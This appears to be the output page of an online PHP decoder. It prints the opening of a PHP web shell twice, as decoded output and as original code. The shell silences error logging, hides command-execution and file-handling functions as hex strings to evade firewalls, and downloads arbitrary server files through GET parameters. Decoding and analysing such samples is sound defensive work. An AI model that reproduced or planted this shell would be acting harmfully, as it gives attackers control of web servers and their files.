Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php @set_time_limit(0); @clearstatcache(); @ini_set('error_log', NULL); @ini_set..

Decoded Output download

<?php  
@set_time_limit(0);  
@clearstatcache();  
@ini_set('error_log', NULL);  
@ini_set('log_errors', 0);  
@ini_set('max_execution_time', 0);  
@ini_set('output_buffering', 0);  
@ini_set('display_errors', 0);  
# function WAF  
  
$Array = [  
    '676574637764', # ge  tcw d => 0  
    '676c6f62', # gl ob => 1  
    '69735f646972', # is_d ir => 2  
    '69735f66696c65', # is_ file => 3  
    '69735f7772697461626c65', # is_wr iteable => 4  
    '69735f7265616461626c65', # is_re adble => 5  
    '66696c657065726d73', # fileper ms => 6  
    '66696c65', # f ile => 7  
    '7068705f756e616d65', # php_unam e => 8  
    '6765745f63757272656e745f75736572', # getc urrentuser => 9  
    '68746d6c7370656369616c6368617273', # html special => 10  
    '66696c655f6765745f636f6e74656e7473', # fil e_get_contents => 11  
    '6d6b646972', # mk dir => 12  
    '746f756368', # to uch => 13  
    '6368646972', # ch dir => 14  
    '72656e616d65', # ren ame => 15  
    '65786563', # exe c => 16  
    '7061737374687275', # pas sthru => 17  
    '73797374656d', # syst em => 18  
    '7368656c6c5f65786563', # sh ell_exec => 19  
    '706f70656e', # p open => 20  
    '70636c6f7365', # pcl ose => 21  
    '73747265616d5f6765745f636f6e74656e7473', # stre amgetcontents => 22  
    '70726f635f6f70656e', # p roc_open => 23  
    '756e6c696e6b', # un link => 24  
    '726d646972', # rmd ir => 25  
    '666f70656e', # fop en => 26  
    '66636c6f7365', # fcl ose => 27  
    '66696c655f7075745f636f6e74656e7473', # file_put_c ontents => 28  
    '6d6f76655f75706c6f616465645f66696c65', # move_up loaded_file => 29  
    '63686d6f64', # ch mod => 30  
    '7379735f6765745f74656d705f646972', # temp _dir => 31  
    '6261736536345F6465636F6465', # => bas e6 4 _decode => 32  
    '6261736536345F656E636F6465', # => ba se6 4_ encode => 33  
];  
$hitung_array = count($Array);  
for ($i = 0; $i < $hitung_array; $i++) {  
    $fungsi[] = unx($Array[$i]);  
}  
  
if (isset($_GET['d'])) {  
    $cdir = unx($_GET['d']);  
    $fungsi[14]($cdir);  
} else {  
    $cdir = $fungsi[0]();  
}  
  
function file_ext($file)  
{  
    if (mime_content_type($file) == 'image/png' or mime_content_type($file) == 'image/jpeg') {  
        return '<i class="fa-regular fa-image" style="color:#09e3a5"></i>';  
    } else if (mime_content_type($file) == 'application/x-httpd-php' or mime_content_type($file) == 'text/html') {  
        return '<i class="fa-solid fa-file-code" style="color:#0985e3"></i>';  
    } else if (mime_content_type($file) == 'text/javascript') {  
        return '<i class="fa-brands fa-square-js"></i>';  
    } else if (mime_content_type($file) == 'application/zip' or mime_content_type($file) == 'application/x-7z-compressed') {  
        return '<i class="fa-solid fa-file-zipper" style="color:#e39a09"></i>';  
    } else if (mime_content_type($file) == 'text/plain') {  
        return '<i class="fa-solid fa-file" style="color:#edf7f5"></i>';  
    } else if (mime_content_type($file) == 'application/pdf') {  
        return '<i class="fa-regular fa-file-pdf" style="color:#ba2b0f"></i>';  
    } else {  
        return '<i class="fa-regular fa-file-code" style="color:#0985e3"></i>';  
    }  
}  
  
function download($file)  
{  
  
    if (file_exists($file)) {  
        header('Content-Description: File Transfer');  
        header('Content-Type: application/octet-stream');  
        header('Content-Disposition: attachment; filename=' . basename($file));  
        header('Content-Transfer-Encoding: binary');  
        header('Expires: 0');  
        header('Cache-Control: must-revalidate');  
        header('Pragma: public');  
        header('Content-Length: ' . filesize($file));  
        ob_clean();  
        flush();  
        readfile($file);  
        exit;  
    }  
}  
  
if ($_GET['don'] == true) {  
    $FilesDon = download(unx($_GET['don']));  
}  
?> 

Did this file decode correctly?

Original Code

<?php 
@set_time_limit(0); 
@clearstatcache(); 
@ini_set('error_log', NULL); 
@ini_set('log_errors', 0); 
@ini_set('max_execution_time', 0); 
@ini_set('output_buffering', 0); 
@ini_set('display_errors', 0); 
# function WAF 
 
$Array = [ 
    '676574637764', # ge  tcw d => 0 
    '676c6f62', # gl ob => 1 
    '69735f646972', # is_d ir => 2 
    '69735f66696c65', # is_ file => 3 
    '69735f7772697461626c65', # is_wr iteable => 4 
    '69735f7265616461626c65', # is_re adble => 5 
    '66696c657065726d73', # fileper ms => 6 
    '66696c65', # f ile => 7 
    '7068705f756e616d65', # php_unam e => 8 
    '6765745f63757272656e745f75736572', # getc urrentuser => 9 
    '68746d6c7370656369616c6368617273', # html special => 10 
    '66696c655f6765745f636f6e74656e7473', # fil e_get_contents => 11 
    '6d6b646972', # mk dir => 12 
    '746f756368', # to uch => 13 
    '6368646972', # ch dir => 14 
    '72656e616d65', # ren ame => 15 
    '65786563', # exe c => 16 
    '7061737374687275', # pas sthru => 17 
    '73797374656d', # syst em => 18 
    '7368656c6c5f65786563', # sh ell_exec => 19 
    '706f70656e', # p open => 20 
    '70636c6f7365', # pcl ose => 21 
    '73747265616d5f6765745f636f6e74656e7473', # stre amgetcontents => 22 
    '70726f635f6f70656e', # p roc_open => 23 
    '756e6c696e6b', # un link => 24 
    '726d646972', # rmd ir => 25 
    '666f70656e', # fop en => 26 
    '66636c6f7365', # fcl ose => 27 
    '66696c655f7075745f636f6e74656e7473', # file_put_c ontents => 28 
    '6d6f76655f75706c6f616465645f66696c65', # move_up loaded_file => 29 
    '63686d6f64', # ch mod => 30 
    '7379735f6765745f74656d705f646972', # temp _dir => 31 
    '6261736536345F6465636F6465', # => bas e6 4 _decode => 32 
    '6261736536345F656E636F6465', # => ba se6 4_ encode => 33 
]; 
$hitung_array = count($Array); 
for ($i = 0; $i < $hitung_array; $i++) { 
    $fungsi[] = unx($Array[$i]); 
} 
 
if (isset($_GET['d'])) { 
    $cdir = unx($_GET['d']); 
    $fungsi[14]($cdir); 
} else { 
    $cdir = $fungsi[0](); 
} 
 
function file_ext($file) 
{ 
    if (mime_content_type($file) == 'image/png' or mime_content_type($file) == 'image/jpeg') { 
        return '<i class="fa-regular fa-image" style="color:#09e3a5"></i>'; 
    } else if (mime_content_type($file) == 'application/x-httpd-php' or mime_content_type($file) == 'text/html') { 
        return '<i class="fa-solid fa-file-code" style="color:#0985e3"></i>'; 
    } else if (mime_content_type($file) == 'text/javascript') { 
        return '<i class="fa-brands fa-square-js"></i>'; 
    } else if (mime_content_type($file) == 'application/zip' or mime_content_type($file) == 'application/x-7z-compressed') { 
        return '<i class="fa-solid fa-file-zipper" style="color:#e39a09"></i>'; 
    } else if (mime_content_type($file) == 'text/plain') { 
        return '<i class="fa-solid fa-file" style="color:#edf7f5"></i>'; 
    } else if (mime_content_type($file) == 'application/pdf') { 
        return '<i class="fa-regular fa-file-pdf" style="color:#ba2b0f"></i>'; 
    } else { 
        return '<i class="fa-regular fa-file-code" style="color:#0985e3"></i>'; 
    } 
} 
 
function download($file) 
{ 
 
    if (file_exists($file)) { 
        header('Content-Description: File Transfer'); 
        header('Content-Type: application/octet-stream'); 
        header('Content-Disposition: attachment; filename=' . basename($file)); 
        header('Content-Transfer-Encoding: binary'); 
        header('Expires: 0'); 
        header('Cache-Control: must-revalidate'); 
        header('Pragma: public'); 
        header('Content-Length: ' . filesize($file)); 
        ob_clean(); 
        flush(); 
        readfile($file); 
        exit; 
    } 
} 
 
if ($_GET['don'] == true) { 
    $FilesDon = download(unx($_GET['don'])); 
} 
?> 

Function Calls

None

Variables

None

Stats

MD5 107271a0ba659e8250ab921ffb07dfea
Eval Count 0
Decode Time 59 ms